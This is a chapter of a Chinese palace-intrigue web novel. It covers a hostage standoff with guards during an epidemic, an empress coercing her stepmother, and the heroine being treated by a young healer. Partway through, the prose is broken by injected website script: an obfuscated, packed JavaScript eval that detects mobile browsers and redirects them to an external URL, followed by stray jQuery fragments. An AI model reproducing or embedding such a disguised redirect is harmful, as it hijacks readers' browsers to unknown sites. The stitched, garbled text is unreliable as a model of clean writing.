20. 020 神医

作品:《废院皇子他又凶又狠

    举剑的女娘语罢,甚至露出一抹甜甜的笑容。


    愤怒的骁卫郎们瞧见,更加愤怒了。


    这就是明晃晃的挑衅!


    但他们不敢骂,抵着谢臣安脖子的刀刃几乎要见血,这些人你看看我、我看看你,病痛忽然就涌了上来,高昂的气焰骤然低落。


    “大家都生着病,风凉,不好受吧?”凌之妍温柔道,举着的利刃却未动分毫。


    “有本事你放下剑,我们再谈!”有骁卫郎吼道。


    “对等原则,我放,你们也放。”凌之妍道。


    骁卫郎瞧了瞧她手上孤零零的剑,再瞧了瞧他们人手一把的利刃,沉默了……这叫做对等?


    嗓子疼,不想吼啊。


    “行。你们放,我们也放。”就在这时,赵达高声响应,并当着众人的面,将自己的佩剑扔下。


    骁卫郎们这才惊觉,他们被前后夹击了。


    凌之妍身边的人虽然少,但她捏着谢臣安,而赵达则带着近两百壮士,在后虎视眈眈,他们骁卫郎不过一百出头,硬闯当然能过,但谢臣安的安危就……


    该死,江洄刚出狱,哪来的这几百个忠心死士!


    赵达放剑,无疑是个信号,骁卫郎与三百壮士间的对峙逐渐缓和,两方人的剑陆续落下,并逐渐分开,成了相互隔离的两个团体。


    “所有人都蒙上口鼻,有时疫症状的和没有的分开站。”凌之妍又说,“赵头,拜托你主持了,骁卫郎这里,派代表过来谈。”


    抵在谢臣安脖子上的利刃总算是放下来,但凌之妍没有让人放掉谢臣安,仍挟持着昏迷的他。


    骁卫郎们聚在一起,窃窃私语,不一会儿派出了两人前来谈判。


    凌之妍已经染上时疫,所以他们派来的人也都是有症状的,外面太冷,凌之妍也不多啰嗦,带他们往帐篷走去。


    帐内谈判开始,帐外的赵达也抓紧时间整顿纪律。


    骁卫郎里还有不听话的,他效仿凌之妍,干脆将这些人都捆了。


    ——夫人只说放剑,可没说不能动粗。


    失去武器的骁卫郎完全不是赵达等人的对手,这帮人力气大得出奇,三下五除二,就把骁卫郎里最刺头的几个揪了出来,全都捆成了麻花。


    失去领头羊后,骁卫郎们也暂时安静了下来,等待帐中谈判的结果。


    谈判一开始很顺利,但说到江洄归来的时间时,凌之妍犹豫了。大山重重,目标飘忽,江洄身上的伤也没好,他究竟何时能归,她也不敢打包票。


    “后日,日出之前。”凌之妍道。


    不仅骁卫郎们,连赵达派来保护她的护卫们都吃了一惊。


    赵头领始终对郎君的归期讳莫如深,许多人揣测他也并不知晓,而郎君走前并未与夫人说过话,夫人又是如何知晓的?


    凌之妍没有解释,骁卫郎们低声讨论片刻,道:


    “既然夫人如此肯定,那我等就等到后日日出前,若到时江庶人还未归来,我等便只能强押夫人入都了。”


    他们的任务是保证江洄和凌之妍按时抵达烨都,如今江洄下落不明,有逃跑的可能,如果他人一直不回来,他们至少也要将凌之妍押至烨都。


    至于进山寻找一途,他们也商量过。


    然而大山重重,险峻又陌生,他们不敢贸然行动。


    “好。”凌之妍道,被大袖遮掩的苍白手指攥紧了丝帕。


    如果一切顺利,太医们大概会在后天清晨抵达营地,同来的定有宫中使者,若他们到的时候发现江洄不在,事态就严重了。


    她相信江洄心里一定有数,会赶在那之前回到营地……


    “夫人!”侍女们忽然惊叫起来。


    凌之妍想回头,却往前一栽,直直倒了下去。


    疫情比想象的蔓延更快,凌之妍倒下时,营地里有许多人的病情也加重了,未染病的人越来越少,即使加强了隔离,依旧不够。


    太医距此至少还有一天半的路程,而进山里的江洄不知归期。


    渐渐的,高烧不退的人越来越多,昏睡前,头顶的天空逐渐眯成一条细线,维系着人心底的希望。


    凌之妍睡得很不安稳,梦里的太阳一次次西斜,她努力睁大眼睛,却依旧只能看见一片扭曲的山峦。


    江洄。


    江洄呢?


    他们撑不了多久了。


    “……江……洄……”


    凌之妍张开干涩的嘴,艰难地吐出了两个字。


    “我在。”


    一只干爽的手掌握住了她。


    她拧着眉头,眼皮下的眼球转动频率变快了些许,又很快安静下来。


    ……


    “殿下,他好歹是您嫡亲的弟弟,您身为史家的女儿,怎能见死不救?”


    椒房殿内,紫气氤氲。


    史夫人站在阶下,指着史语蓝大骂,全然没了往日的端庄持重。


    史语蓝使了个眼色,便有力大的嬷嬷们上前,按住了发狂的史夫人。


    她冷笑道:


    “好个嫡亲,母亲怕是忘了,我不是您生的了吧。孤今日请您进来,本是想问您的身子,若母亲执意为您那不成器的幼子与孤为难,那便恕女儿不送了。”


    嬷嬷们闻言,立刻将史夫人向外拖拽。


    史夫人更加疯狂地挣扎起来,谩骂声不绝于耳,史语蓝敛首,一下下抚摸着腿上的玉如意,仿佛没有听见似的。


    “停。”


    隔了一会儿,史语蓝道。


    史夫人又燃起了希望,连忙要说话,但史语蓝一个眼色,她立刻被死死捂住了嘴。


    “呜呜呜……”史夫人奋力挣扎。


    史语蓝提起裙摆,款步走下台阶。


    她比史夫人要高一些,眼脸下垂,用一种怜悯的目光看着她。


    “你儿子被判秋后斩首,距今尚有时日,你若识相,孤便保他不死,但若还像今天这样对孤口出恶言,孤便向圣上进言……”她说着,眼里闪现过一抹快意,在史夫人耳边道,“史六郎盗用圣上密属的徽记,实乃大不敬之罪,该当凌迟。”


    “……!”史夫人说不出话来,一双布满细纹的眼睛瞪得犹如铜铃,惊恐地看着史语蓝。


    她眼底迸射出疯狂的光芒,但很快被无力的绝望取而代之。


    她身子软了下来,低低呜咽。


    嬷嬷们得到史语蓝的默许,放开了史夫人,史夫人也一改之前的傲慢,膝行着爬到史语蓝的脚下,拉着她裙摆哭道:“求求你,求求你,不要向圣上进言,他……六郎他受不住的啊……”


    “脏死了,放开。”史语蓝一脚将史夫人踢开,又坐回了宝座上。


    “殿下,求殿下手下留情,老妇……老妇绝不再与殿下为难。”史夫人如枯瘦的槁木般蜷缩在阶下,绝望地哀求。


    若非万不得已,她是绝不会来求史语蓝的。


    这贱奴养的庶孽,谁想有天竟爬到了她的头上!


    可她没有办法,史太傅不愿为史六郎说话,史家上下观其态度,也都沉默不言。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11711688|124560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    现在有可能救下幼子的,只有身为皇后的史语蓝了。


    史夫人想到此,头低得更低了,几乎磕在地上,她顺从道:“请殿下吩咐,有什么用得着老妇的地方,老妇定当竭尽所能。”


    “江洄不日便要归京。”史语蓝悠悠道,“他身边有个名为凌之妍的新妇,你去打探一下,她可有什么特别之处。”


    谢徎称之为闲棋,她怎会相信?


    此人与她从未同心,还是防一手的更好。


    ……


    凌之妍模模糊糊感觉手被握住,温暖的触感令她安心,彻底昏睡过去。


    等她醒来,车轮滚滚,马蹄萧萧,身下熟悉的颠簸,他们竟已在路上。


    “好险,算你命大。”一把陌生的声音道。


    凌之妍警觉地坐起身,却被按了下去。


    “躺好。”少年黑发黑眸,皮肤是漂亮的小麦色,右耳带着五彩石头制成的耳铛,颇有异域风情。


    将她按下后,少年又转身忙碌起来,隔了会儿道:


    “把上衣脱了。”


    他转过来,指尖闪着一点银光,凌之妍定睛一看,是银针。


    医者施针她懂,但……脱衣服?


    她搜寻了一遍车厢,两名贴身的侍女都不在,车内只有她跟陌生的少年。


    “磨蹭什么?”少年皱眉,“我手上有针,你自己来比较好。”


    少年的年纪应该不大,声音清亮。


    凌之妍张了张嘴,嗓子里毛毛躁躁的,很艰难地吐出两个不连贯的字:“你……谁……”


    少年一愣,片刻后扬起眉梢:


    “哦,你拉着你夫君那会儿没醒呢?我以为你看见过我了呢。”


    什……


    凌之妍脑袋一空。


    她拉着谁?


    夫君?


    江洄吗?


    ……梦里那只手,是真的?


    “在……哪?”凌之妍又艰难地挤出两个字。


    “啧啧。”少年摇头,“话都讲不出来了,就别惦记别人了。”


    他收起针,倒了杯温水,扶起凌之妍道:“喝吧,少喝点,你才刚醒。”


    凌之妍身上没有丝毫力气,只能被动地靠进少年怀里,她的头约莫到他胸口处,侧头喝水时,脸颊上忽然感到一抹温软。


    抿了口水,凌之妍又侧了侧头。


    “喂,你再这样,我就把你扔出去了!”少年重重放下水杯,警告道,脸色微红。


    “你是,女的?”喝过水后,凌之妍说话顺利了些,但还是没力气。


    “不然呢?”


    少年,不,是少女,将她放回软枕上。


    “我不过晒得黑一些,竟然把我认成男人了?你们中原人真没礼貌!”


    “抱歉,你长得很英气,所以……”凌之妍歉然道,难怪刚才她那么理直气壮地叫她脱衣服。


    “别以为你夸我好看这事就能过去。”女孩小麦色的脸上又泛起淡淡的红,而后重新抽出一根银针,“现在能脱衣裳了吗?你还没好透,得施针。”


    凌之妍用仅有的力气揭开了系带,女孩先用艾条熏热她的几个穴位,连下数根银针。


    银针下去不久,凌之妍便觉得身体通畅了许多,嗓子好像也不那么疼了。


    女孩布好针,又拉起她的手腕诊脉。


    过了片刻,女孩蹙起眉,亮晶晶的黑色瞳仁中满是狐疑:


    “疫症到是无碍了,但你……过日白见血封喉,你服它做什么?”